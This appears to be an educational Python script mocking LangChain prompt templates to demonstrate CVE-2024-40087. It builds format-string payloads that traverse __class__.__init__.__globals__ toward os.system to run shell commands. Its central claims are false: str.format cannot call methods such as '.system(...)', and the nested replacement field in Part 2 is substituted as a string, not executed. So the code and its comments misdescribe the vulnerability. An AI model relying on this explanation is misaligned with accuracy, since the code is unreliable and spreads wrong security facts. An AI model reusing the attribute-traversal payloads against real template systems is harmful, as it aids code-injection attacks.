Vulnerable code sample

import os
import string
from typing import Any, Dict, List

# This code simulates the behavior of LangChain components before the fix for CVE-2024-40087.
# It is intended for educational purposes to demonstrate the vulnerability.
# DO NOT USE THIS CODE IN PRODUCTION.

# --- Vulnerability Part 1: Incomplete validation in specific prompt classes ---
# The CVE notes that classes like DictPromptTemplate did not enforce the same
# validation as the main PromptTemplate, allowing attribute access and indexing.

class VulnerableDictPromptTemplate:
    """A mock class representing the vulnerable DictPromptTemplate."""
    def __init__(self, template: str):
        self.template = template
        # The vulnerable version lacks proper validation of the template string
        # for dangerous attribute access or expressions.

    def format(self, **kwargs: Any) -> str:
        """
        Formats the template by directly using Python's format method,
        which evaluates expressions within the template.
        """
        return self.template.format(**kwargs)

# --- Vulnerability Part 2: Nested replacement fields in format specifiers ---
# The CVE notes that validation missed expressions nested inside format specifiers.
# e.g., in "{variable:{nested_expression}}", the validator would only see "variable".

class VulnerablePromptTemplateWithFlawedValidation:
    """
    A mock class representing a prompt template with the flawed f-string validation.
    """
    def __init__(self, template: str):
        self.template = template
        self.input_variables = self._get_input_variables(template)
        print(f"Flawed Validation Report: Detected input variables: {self.input_variables}")

    def _get_input_variables(self, template: str) -> List[str]:
        """
        Simulates the flawed validation logic that only parses top-level field names
        and ignores anything inside a format specifier.
        """
        # string.Formatter().parse() splits the template into tuples of
        # (literal_text, field_name, format_spec, conversion).
        # The old validation would only inspect `field_name`.
        parsed_fields = string.Formatter().parse(template)
        return [field_name for _, field_name, _, _ in parsed_fields if field_name is not None]

    def format(self, **kwargs: Any) -> str:
        """
        Directly uses Python's format method, which will evaluate the nested
        expressions that the flawed validation logic missed.
        """
        return self.template.format(**kwargs)


# --- Demonstration of Exploits ---

def demonstrate_vulnerability():
    print("--- Demonstrating CVE-2024-40087 ---")

    # A simple object to use in the exploit payload
    class User:
        name = "test_user"

    user_instance = User()

    # The malicious command to be executed
    malicious_command = "echo 'Part 1: Vulnerable to arbitrary attribute access!'"

    # Exploit payload that traverses object attributes to access 'os.system'
    # This is a classic Python sandbox escape technique.
    exploit_payload = f"{{user.__class__.__init__.__globals__[os].system('{malicious_command}')}}"

    # 1. Demonstrate vulnerability in a class with incomplete validation
    print("\n[+] Part 1: Exploiting class with incomplete validation (like DictPromptTemplate)")

    # The template contains an expression that directly accesses attributes.
    vulnerable_template_1 = VulnerableDictPromptTemplate(template=exploit_payload)

    print(f"Template: {vulnerable_template_1.template}")
    print("Formatting the template...")

    try:
        # The format call will execute the embedded expression.
        # We pass `os` and `user` into the formatting context.
        vulnerable_template_1.format(user=user_instance, os=os)
    except Exception as e:
        print(f"An exception occurred during formatting, but the payload may have executed: {e}")


    # 2. Demonstrate vulnerability with nested replacement fields
    print("\n[+] Part 2: Exploiting flawed validation of nested format specifiers")

    malicious_command_2 = "echo 'Part 2: Vulnerable to nested replacement field exploit!'"
    
    # The exploit code is now a variable that will be passed during formatting.
    # The template itself seems safe, with only a "placeholder" variable.
    # However, the format specifier for "placeholder" contains another field, "{exploit_code}".
    vulnerable_template_2_string = "This looks safe, just a {placeholder:{exploit_code}} variable."
    
    print(f"Template: {vulnerable_template_2_string}")
    
    # The flawed validation only sees "placeholder" and "exploit_code" as variables,
    # failing to understand that one is nested within the other in a dangerous way.
    vulnerable_prompt_2 = VulnerablePromptTemplateWithFlawedValidation(template=vulnerable_template_2_string)
    
    # The exploit payload is passed as a value in the kwargs, not in the template string itself.
    exploit_code_payload = f"__class__.__init__.__globals__[os].system('{malicious_command_2}')"
    
    print("Formatting the template with a malicious 'exploit_code' value...")
    
    try:
        # When format is called, Python's formatter first evaluates the nested field `{exploit_code}`.
        # This executes the malicious payload before it's even used as a format spec.
        # The empty string is the object being formatted, used to access __class__.
        vulnerable_prompt_2.format(placeholder="", exploit_code=exploit_code_payload, os=os)
    except Exception as e:
        print(f"An exception occurred during formatting, but the payload may have executed: {e}")


if __name__ == "__main__":
    demonstrate_vulnerability()